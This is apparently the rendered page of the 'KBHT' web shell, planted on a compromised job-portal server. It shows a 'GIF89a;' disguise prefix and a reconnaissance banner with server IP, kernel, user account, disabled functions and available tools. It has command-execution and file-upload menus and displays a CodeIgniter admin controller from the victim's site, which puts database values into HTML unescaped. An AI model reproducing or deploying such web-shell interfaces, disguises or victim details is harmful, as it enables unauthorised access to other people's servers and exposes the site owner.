GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.119.248.214
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../../jobs/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../../jobs/application/controllers/admin/BasicDetails.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of BasicDetails
 *
 * @author Softpro India Pvt. Ltd
 */
class BasicDetails extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/DepartmentManagement");
        $this->load->model("admin/DesignationManagement");
    }

    public function getDepartment() {
        $cm_id = $_POST['cm_id'];
        $departments = $this->DepartmentManagement->getDepartmentByCategory($cm_id)->result();
        $options = "<option value=''>-Department-</option>";
        for ($i = 0; $i < (sizeof($departments)); $i++) {
            $options .= "<option value=" . $departments[$i]->dm_id . ">" . $departments[$i]->dm_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'departments' => $options
        );
        echo json_encode($responseData);
    }

    public function getDesignationByCategory() {
        $dm_id = $_POST['cm_id'];
        $designations = $this->DesignationManagement->getDesignationByCategory($dm_id)->result();
        $options = "<option value=''>-Designation-</option>";
        for ($i = 0; $i < (sizeof($designations)); $i++) {
            $options .= "<option value=" . $designations[$i]->desig_id . ">" . $designations[$i]->desig_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'designations' => $options
        );
        echo json_encode($responseData);
    }

    public function getDesignationByDepartment() {
        $dm_id = $_POST['dm_id'];
        $designations = $this->DesignationManagement->getDesignationByDepartment($dm_id)->result();
        $options = "<option value=''>-Designation-</option>";
        for ($i = 0; $i < (sizeof($designations)); $i++) {
            $options .= "<option value=" . $designations[$i]->desig_id . ">" . $designations[$i]->desig_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'designations' => $options
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023